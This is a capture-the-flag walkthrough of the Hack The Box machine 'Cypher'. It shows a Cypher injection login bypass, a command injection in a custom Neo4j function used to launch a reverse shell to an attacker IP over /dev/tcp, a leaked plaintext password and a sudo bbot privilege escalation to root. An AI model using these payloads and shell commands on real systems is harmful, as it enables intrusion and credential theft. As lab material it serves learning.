Medium

Cypher [30 pts]

 Challenge Description
Challenge Description
Points: 30
Solves: 4273
  • bypass login form on a server using Cypher SQL injection
  • find definition of custom functions used in Cypher which has command injection and abuse it to get reverse shell and user password
  • find exploit in sudo executable program bbot to launch root shell

Enumeration

First, we run nmap to see, which ports are opened on the machine:

kali@kali:~/HTB/Cypher $ nmap -sC -sV -oA nmap/cypher 10.10.11.57

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-07 14:31 EST
Nmap scan report for 10.10.11.57
Host is up (0.065s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.04 seconds

Okay we can visit the HTTP server to see what it does.

Since we cant register (and want to access the demo but we can’t as we are not logged in), I tried to detect SQLi with admin' as username and got some error back:

Failed to parse string literal. The query must contain an even number of non-escaped quotes.
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = ''' return h.value as hash"

Okay so we are dealing with Neo4j, which uses cypher language and we must do some sort of cypher (SQL) injection. Let’s break down the query leaked from the application code. What it does it matches relationship (user -> secret -> hash value), where username is taken from the POST request and returns the hash belonging to this user (hash of the password). Sending '// (commenting out the rest of the query) as payload returns another error

Query cannot conclude with MATCH (must be a RETURN clause, a FINISH clause, an update clause, a unit subquery call, or a procedure call with no YIELD). 
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = ''//' return h.value as hash"

Okay, so we can return something else than h.value (which is the legitimate hash of the user password). So if we include something like ' return \"a9993e364706816aba3e25717850c26c9cd0d89d\"// (escape “ if you are sending payload from burpsuite, otherwise it’s not needed), we basically return hash of password abc. Now the query would look like this:

MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' return "a9993e364706816aba3e25717850c26c9cd0d89d"//' return h.value as hash

So now we are matching user with empty username. Let’s add OR injection to bind to any user and rewrite the hash for our own.

MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' OR 1=1 return "a9993e364706816aba3e25717850c26c9cd0d89d"//' return h.value as hash

which is the result of username ' OR 1=1 return \"a9993e364706816aba3e25717850c26c9cd0d89d\" as hash // and password abc and we get access to some kind of filter.

After clicking any of the filters, we automatically get some kind of query. For example, when selecting DNS query we get MATCH (n:DNS_NAME) RETURN n and get some results back.

We can query all the labels in the database:

call db.labels()

which returns:

[{"label":"USER"},{"label":"HASH"},{"label":"DNS_NAME"},{"label":"SHA1"},{"label":"SCAN"},{"label":"ORG_STUB"},{"label":"IP_ADDRESS"}]

Now query for all the users:

match (m:USER) return m

returns:

[{"m":{"name":"graphasm"}}]

We can also query SHA1 labels (possibly linked with the user, might contain hash of his password)

match (m:SHA1) return m

which returns

[{"m":{"value":"9f54ca4c130be6d529a56dee59dc2b2090e43acf"}}]

but we cant crack it with crackstation so moving on. Let’s try fuzzing for directories with ffuf:

kali@kali:~/HTB/cypher $ ffuf -u http://cypher.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cypher.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

login                   [Status: 200, Size: 3671, Words: 863, Lines: 127, Duration: 91ms]
api                     [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 66ms]
about                   [Status: 200, Size: 4986, Words: 1117, Lines: 179, Duration: 61ms]
demo                    [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 65ms]
index                   [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 69ms]
testing                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 62ms]
                        [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 193ms]
:: Progress: [20116/20116] :: Job [1/1] :: 704 req/sec :: Duration: [0:00:31] :: Errors: 0 ::

We’ve already seen demo. testing serves a single file called custom-apoc-extension-1.0-SNAPSHOT.jar. Using https://www.decompiler.com/ to decompile it, we can see CustomFunction.java has this code, which is vulnerable to command injection.

public Stream<CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
  if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
	 url = "https://" + url;
  }

  String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
  System.out.println("Command: " + Arrays.toString(command));
  Process process = Runtime.getRuntime().exec(command);
  ...

Why is this useful? Because we can also call custom specified methods in cypher, such as this getUrlStatusCode. With the correct parameters we can get command injection like this:

CALL custom.getUrlStatusCode("example.com; /bin/bash -c '/bin/sh -i >& /dev/tcp/10.10.16.153/9001 0>&1'") YIELD statusCode RETURN statusCode;

We get a shell as neo4j but have access to /home/graphasm files. For example we can read the bbot_preset.yml

neo4j@cypher:/home/graphasm$ cat bbot_preset.yml 
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

and see that cU4btyib.20xtCMCXkBmerhK is password for the user graphasm.

graphasm@cypher:~$ ls
bbot  bbot_preset.yml  bbot_scans  index.html  modules  shell.yml  user.txt
graphasm@cypher:~$ cat user.txt 
2ac83c0f985ff9...

Privilege Escalation

Now when we are on the box, we can list programs which we can run with sudo

graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

After some search we can see that this program is used for OSINT and scanning. There is also a linked vulnerability for privesc, which can be found here. What it basically does is it provides a python module systeminfo_enum.py, which abuses the usage of custom Python modules during the OSINT scans. In this case, it spawns a new shell (when running as root it spawns root shell). The other file preset.yml just defines the custom module directory (.) and sets the custom module with the spawned shell. We can simply run the exploit via

sudo /usr/local/bin/bbot -t dummy.com -p /home/graphasm/preset.yml --event-types ROOT

After running the exploit we get root shell and can read the root flag:

graphasm@cypher:~$ sudo /usr/local/bin/bbot -t dummy.com -p /home/graphasm/preset.yml --event-types ROOT
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[INFO] Scan with 1 modules seeded with 1 targets (1 in whitelist)
[INFO] Loaded 1/1 scan modules (systeminfo_enum)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[SUCC] systeminfo_enum: 📡 systeminfo_enum setup called — launching shell!
root@cypher:/home/graphasm $ whoami
root
root@cypher:/home/graphasm $ cd ~
root@cypher:~ $ cat root.txt 
72925c...